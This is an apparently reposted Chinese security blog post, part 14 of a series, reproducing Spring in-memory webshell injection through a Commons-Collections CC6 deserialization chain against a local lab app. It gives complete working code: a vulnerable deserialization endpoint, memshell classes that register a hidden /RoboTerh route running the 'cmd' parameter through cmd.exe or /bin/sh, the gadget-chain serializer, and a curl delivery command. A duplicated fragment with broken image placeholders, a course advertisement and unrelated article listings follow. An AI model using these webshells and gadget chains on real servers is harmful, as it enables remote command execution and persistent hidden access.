spring回显方式在代码层面的复现(内存马系列篇十四)

news2024/12/28 19:15:55

前言

在前面的一章中,主要在理论上进行了各种内存马的实现,这里就做为上一篇的补充,自己搭建反序列化的漏洞环境来进行上文中理论上内存马的注入实践。

这是内存马系列文章的第十四篇。

环境搭建

可以使用我用的漏洞环境

https://github.com/Roboterh/JavaSecCodeEnv/blob/main/src/main/java/com/roboterh/vuln/controller/CommonsCollectionsVuln.java

或者自己搭建环境,使用:

  • spring-boot 2.5.0

  • commons-collections 3.2.1

我们使用commons-collections反序列化链作为一个反序列化漏洞的点,我们创建一个Controller类:

package com.roboterh.vuln.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ObjectInputStream;

@Controller
public class CommonsCollectionsVuln {
    @ResponseBody
    @RequestMapping("/unser")
    public void unserialize(HttpServletRequest request, HttpServletResponse response) throws Exception {
        java.io.InputStream inputStream =  request.getInputStream();
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        objectInputStream.readObject();
        response.getWriter().println("successfully!!!");
    }

    @ResponseBody
    @RequestMapping("/demo")
    public void demo(HttpServletRequest request, HttpServletResponse response) throws Exception{
        response.getWriter().println("This is a Demo!!!");
    }
}

/unser路由中获取了请求体输入流进行了反序列化调用。

正文

Way 1

这个内存马主要是在spring
controller内存马注入中提到的方式,但是这里有一点不同的是,在直接使用前面的代码进行内存马注入的过程中,并不能够成功注入。

在debug过程中,发现是因为不能够找到他的构造方法而报错,更改后的注入方式。

1.首先是创建一个继承了AbstractTranslet类的一个类:

package pers.cc;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Method;

public class SpringMemshell extends AbstractTranslet {

    // 第一个构造函数
    static {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        // 2. 通过反射获得自定义 controller 中test的 Method 对象
        Method method2 = null;
        try {
            method2 = SpringMemshell.class.getMethod("test");
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        }
        // 3. 定义访问 controller 的 URL 地址
        PatternsRequestCondition url = new PatternsRequestCondition("/RoboTerh");
        // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 5. 在内存中动态注册 controller
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        // 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环
        SpringMemshell evilController = new SpringMemshell();
        mappingHandlerMapping.registerMapping(info, evilController, method2);
    }

    public void test() throws  IOException{
        // 获取request和response对象
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

        //exec
        try {
            String arg0 = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                java.lang.ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                }else{
                    p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }else{
                response.sendError(404);
            }
        }catch (Exception e){}
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

直接我们使用CC6链进行注入:

package pers.cc;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.aspectj.util.FileUtil;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6_plus {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception{
        byte[] bytes = FileUtil.readAsByteArray(new File("SpringMemshell.class"));

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                bytes
        });
        setFieldValue(obj, "_name", "1");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        InstantiateFactory instantiateFactory;
        instantiateFactory = new InstantiateFactory(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class
                ,new Class[]{javax.xml.transform.Templates.class},new Object[]{obj});

        FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);

        ConstantTransformer constantTransformer = new ConstantTransformer(1);

        Map innerMap = new HashMap();
        LazyMap outerMap = (LazyMap)LazyMap.decorate(innerMap, constantTransformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        setFieldValue(outerMap,"factory",factoryTransformer);

        outerMap.remove("keykey");
        serialize(expMap);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.ser"));
        out.writeObject(obj);
    }
}

之后,我们将我们生成的序列化数据存放在了1.ser文件中。

2.在得到序列化数据之后,运行漏洞环境,通过curl命令来发送序列化数据进行反序列化:

curl -v "http://localhost:9999/unser" --data-binary "@./1.ser"

最后可以验证注入效果。

image-20221030201718864.png

能够成功注入,solve it !!

Way 2

way 1中是使用的通过

(WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0)

来获取的一个Child
Context环境,进而操控RequestMappingHandlerMapping类对象,调用了其registerMapping进行路由的注册。

这里我们换用上篇文章中提到的ContextLoader.getCurrentWebApplicationContext()来测试是否能够成功注入。

在我简单的将前面获取上下文环境中的代码进行替换:

image-20221030205833366.png

发现并不能够注入,原因是因为在调用ContextLoader.getCurrentWebApplicationContext方法中,并没有得到上下文对象。

image-20221030205941688.png

那为什么不能够得到呢?

在上一篇中的讲解中我们从注释中也知道了ContextLoader类主要是通过ContextLoaderListener来进行初始化的工作的。

所以,只有配置了ContextLoaderListener这个监听器之后才可以使用这个类,我们环境中并没有进行配置,当然不能够获取到上下文环境捏!

但是在springboot中的解决方案官方主要是实现了一个ApplicationContextAware接口的类中设置一个存放上下文环境的属性。这里我们通过spring项目的web.xml来进行实验:

image-20221030211900568.png

在配置了该监听器之后,能够通过这种方式获取到上下文环境:

image-20221030211933172.png

但是在这里又遇到了问题,在获取RequestMappingHandlerMapping这个bean的时候提示找不到这个bean。

image-20221030212104790.png

那又是因为什么捏?

因为通过这种方式获取的Context是一个Root Context,对于Context来说,允许Child Context访问Root Context中的Bean,反之是不允许的。

所以我们想要使用这种方法获取该bean,不仅需要使用ContextLoaderListener这个监听器,还需要使得最低我们需要的RequestMappingHandlerMapping这个bean是存在于Root
Context中,即是在applicationContext.xml中进行的配置。

总结一下,很明显,在能够获取Child Context的情况下,选择前者的方法更占优也更加普遍。

Way 3

这里对于way
1中的实现中的改造主要是在进行Controller的动态创建中,主要是利用了DefaultAnnotationHandlerMapping该映射器的特点,能够将注解转换成对应的映射关系。但是在高版本spring中已经不存在这个类了,被其他类给替换掉了。

给个小例子:

@Controller
public class SpringMemshell1 extends AbstractTranslet {
    static {
        // 1.获取上下文环境
        ServletWebServerApplicationContext context = (ServletWebServerApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 2.通过调用registerSingleton注册一个bean
        try {
            context.getBeanFactory().registerSingleton("test", Class.forName("pers.cc.SpringMemshell1").newInstance());
        } catch (Exception e) {
            e.printStackTrace();
        }
        // 3.获取DefaultAnnotationHandlerMapping这个实现类
        DefaultAnnotationHandlerMapping defaultAnnotationHandlerMapping = context.getBean(DefaultAnnotationHandlerMapping.class);
        // 4.反射获取对应的registerHandler
        try {
            Method registerHandler = AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
            // 5.调用该方法进行注册路由和handler
            registerHandler.setAccessible(true);
            System.out.println("try....");
            registerHandler.invoke(defaultAnnotationHandlerMapping, "/RoboTerh", "test");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @RequestMapping("/RoboTerh")
    public void test(HttpServletRequest request, HttpServletResponse response) {
        //exec
        try {
            String arg0 = request.getParameter("cmd");
            System.out.println("RoboTerh....");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                java.lang.ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                }else{
                    p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }else{
                response.sendError(404);
            }
        }catch (Exception e){}
    }
}

Way 4

对于该方法相比较于Way 1中的构造也是变化在了Controller创建位置,

主要的点是在AbstractHandlerMethodMapping#detectHandlerMethods方法中:

image-20221031212424408.png

在使用CC6反序列化利用链进行内存马的注入过程中,在static代码块中进行了如下逻辑:

1.首先创建一个带有Controller注解的Singleton
PS:后面会有解析其中注解的逻辑

2.因为AbstractHandlerMethodMapping是一个抽象类,所以我们通过使用他的实现类RequestMappingHandlerMapping来反射获取对应的detectHandlerMethods方法
image-20221031213116346.png

3.最后反射调用这个方法,传入的参数是我们前面注册的一个handler

具体解析注解的逻辑如下:

1.首先通过调用MethodIntrospector.selectMethods进行解析对应的注解,返回了一个LinkedHashMap类对象:

image-20221031214504551.png

存放着方法和路由的映射关系

2.遍历这个Map,通过AOP实现获取可调用的方法对象。之后就是调用registerHandlerMethod方法,进行Controller注册的步骤了。

相比于Way 1那种内存马的实现,其实最后进行路由注册的API都是同一个,在Way
1中,直接是通过调用registerHandlerMethod方法,传入的是,自己构造的mapping / handler / method参数动态进行Controller的创建。

但是在该方法中,主要是通过自己通过构造一个带有Controller相关注解的类,调用detectHandlerMethods方法的方式自动进行注解的解析,生成了对应的方法和路由的映射

给出实验的代码:

// 1.获取上下文环境
ServletWebServerApplicationContext context = (ServletWebServerApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2.通过调用registerSingleton注册一个bean
try {
    context.getBeanFactory().registerSingleton("test", Class.forName("pers.cc.SpringMemshell1").newInstance());
} catch (Exception e) {
    e.printStackTrace();
}
// 3.获取RequestMappingHandlerMapping这个实现类
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 4.反射获取对应的detectHandlerMethods
try {
    Method registerHandler = AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
    // 5.调用该方法进行注册路由和handler
    registerHandler.setAccessible(true);
    System.out.println("try....");
    registerHandler.invoke(requestMappingHandlerMapping, "test");
} catch (Exception e) {
    e.printStackTrace();
}

image-20221031215551541.png

能够成功注入该内存马。

同样在控制台中也打印除了我内置的一个测试代码:

image-20221031215650303.png

image-20221031215709336.png

5.调用该方法进行注册路由和handler
registerHandler.setAccessible(true);
System.out.println(“try…”);
registerHandler.invoke(requestMappingHandlerMapping, “test”);
} catch (Exception e) {
e.printStackTrace();
}

[外链图片转存中…(img-wPzmU8jh-1676274060265)]

能够成功注入该内存马。

同样在控制台中也打印除了我内置的一个测试代码:

[外链图片转存中…(img-xJQa2Xjt-1676274060265)]

[外链图片转存中…(img-Tirs1vNQ-1676274060265)]

最后

分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

在这里插入图片描述

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取

有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:

高清学习路线图或XMIND文件(点击下载原文件)

还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/343946.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

一款基于java的超级棒的开源支付系统(用来毕设也不错),国内首款开源的互联网支付系统

最近就快要到年末了,小编想着应该会有很多公司开始冲年度的业绩了,既然是冲业绩,就离不开我们的支付系统,所以小编就去网上给大家找到了一款超级棒的开源支付系统!帮助大家从头到尾了解清楚这其中的逻辑!所…

蓝牙 - 芯片制造商的代号编制以及在Windows上查看

在蓝牙技术的规范中,对很多信息都进行了整理和代号分配,比如生产蓝牙芯片的厂商,也进行了数字编号。 有一个专门的“Assigned Numbers”的PDF文档,记录了蓝牙规范中的各种类型数字所表示的含义。 本文介绍的数字类型&#xff0c…

JavaScript Window - 浏览器对象模型

JavaScript Window - 浏览器对象模型 浏览器对象模型 (BOM) BOM:Browser Object Model 是浏览器对象模型,BOM由多个对象构成,其中代表浏览器窗口的window对象是BOM的顶层对象也是核心对象,其他对象都是该对象的子对象。 BOM对象…

IB-PYP幼儿十大素质培养目标

作为IB候选学校,一直秉承IB教育的核心目标,贯彻在幼儿的学习生活中。IB教育之所以成为当今国际教育的领跑者,最主要的原因是IB教育是切切实实的“全人”教育,“素质”教育,拥有一套完整的教学服务体系。当我们走进IB“…

【机器学习实战】七、梯度下降

梯度下降 一、线性回归 线性回归算法推导过程可以基于最小二乘法直接求解,但这并不是机器学习的思想,由此引入了梯度下降方法。本文讲解其中每一步流程与实验对比分析。 1.初始化 import numpy as np import os %matplotlib inline import matplotli…

C语言(结构和指针)

目录 1.声明结构指针 2.用指针访问成员 3.传递结构成员 4.传递结构的地址 5.传递结构 6.机构的其他特性 7.结构中的字符数组和字符指针 关于为什么要使用指向结构的指针。 第一,就像指向数组的指针比数组本身更容易操作一样,指向结构的指针通常比…

5年自动化测试,终于进字节了,年薪30w其实也并非触不可及

我的职业生涯开始和大多数测试人一样,开始接触都是纯功能界面测试,第一份测试工作就是在电商公司做功能测试,工作忙忙碌碌,每天在各种业务需求学习和点点中度过,过了好几年发现自己还只是一个功能测试工程师&#xff0…

第十二章 Ambari二次开发之集成Alluxio

1、Alluxio高可用部署 生产环境:使用具有高可用性的模式来运行Alluxio masters。 1.1、Alluxio架构 ​ Alluxio可以被分为三个部分:**masters、workers以及clients。**一个典型的设置由一个主服务器、多个备用服务器和多个worker组成。客户端用于通过S…

机器学习实战--梯度下降法进行波士顿房价预测

前言: Hello大家好,我是Dream。 今天来学习一下如何使用机器学习梯度下降法进行波士顿房价预测,这是简单的一个demo,主要展示的是一些小小的思路~ 本文目录:一、波士顿房价预测1.全部的数据可视化2.地理数据可视化3.房…

基于”PLUS模型+“生态系统服务多情景模拟预测实践

工业革命以来,社会生产力迅速提高,人类活动频繁,此外人口与日俱增对土地的需求与改造更加强烈,人-地关系日益紧张。此外,土地资源的不合理开发利用更是造成了水土流失、植被退化、水资源短缺、区域气候变化、生物多样性…

根据手机号显示其运营商信息phone.find

【小白从小学Python、C、Java】【计算机等级考试500强双证书】【Python-数据分析】根据手机号显示其运营商信息phone.find选择题以下关于python代码表述错误的一项是?from phone import PhonephonePhone()print(【执行】phone.find())resultphone.find("13366667777"…

21.操作符优先级和结合性列表,复杂表达式求值顺序

目录一、复杂表达式求值顺序1.操作符的优先级2.操作符的结合性3.操作符是否控制执行的顺序二、求值顺序三、操作符优先级和结合性列表一、复杂表达式求值顺序 复杂表达式的求值顺序由三个因素决定: 1.操作符的优先级 2.操作符的结合性 3.操作符是否控制执行的顺序 1…

【代码随想录训练营】【Day12休息】【Day13】第五章|栈与队列|239. 滑动窗口最大值|347.前 K 个高频元素|总结

239.滑动窗口最大值 题目详细:LeetCode.239 看到滑动窗口,我立马想起了双指针,利用双指针可以非常清晰地理解解题思路: 定义一个变量 max_i 用于记录窗口中的最大值的索引每次窗口滑动后 如果出去的值是最大值,那么…

ChatGPT实火,这小东西牛在哪?

ChatGPT,真的火了啊! 相信许多朋友都听说过 ChatGPT铺天盖地的赞美,但并不清楚它是个啥。 体制内让ChatGPT写材料,广告行业让ChatGPT写策划案,媒体让ChatGPT写新闻稿,程序员让ChatGPT写代码甚至还带修BUG服…

三、常用样式讲解一

文章目录一、企业站点样式实战1.1 版心1.2 reset.css1.3 index.css(首页的样式)1.4 溢出1.5 元素类型1.6 元素类型的转换1.7 行内块元素的特殊情况:img标签的特殊性一、企业站点样式实战 1.1 版心 1.2 reset.css /* reset.css用作清除一些常…

行人检测(人体检测)2:YOLOv5实现人体检测(含人体检测数据集和训练代码)

行人检测(人体检测)2:YOLOv5实现人体检测(含人体检测数据集和训练代码) 目录 行人检测(人体检测)2:YOLOv5实现人体检测(含人体检测数据集和训练代码) 1. 前言 2. 人体检测数据集说明 (1)人体检测数据集 (2&#…

什么是互联网舆情监测分析系统,TOOM舆情监测云服务有哪些内容?

舆情监测应用范围广泛,可以帮助企业了解品牌形象、产品口碑、市场竞争、消费者需求等信息,政府了解民意状况、政策反响、社会热点等信息,个人了解社会趋势、舆论氛围、公共事件等信息。同时,舆情监测分析也可以帮助相关决策者及时…

男生vs女生,谁更加适合做软件测试?

前言 随着互联网的飞速发展,软件测试行业同步兴盛起来,逐渐出现了人才的短缺,致使行业人员工资一涨再涨。 所以,越来越多的人也开始意识到软件测试行业的”高薪“属性,转身投入到相关的工作中来。 但是,…

【Spring Cloud】如何把Feign默认的HTTP客户端URLConnection更换成支持连接池的Apache HttpClient或OKHttp

本期目录前言1. Feign底层的客户端实现2. Feign性能优化思路3. 更换底层客户端1)引入依赖坐标2)配置连接池前言 本次示例代码的文件结构如下图所示。 1. Feign底层的客户端实现 Feign 发送 HTTP 请求时,底层会使用到别的客户端。下面列出…

微服务网关(四)tcp代理模块

微服务网关(四)tcp代理模块 tcp代理服务器的代理实现: 请求流程: 代理的启停方法 //并发执行 go func() {tcp_proxy_router.TcpServerRun() }()tcp_proxy_router.TcpServerStop()tcp_server 一次完整流程 tcp_server.go 首先…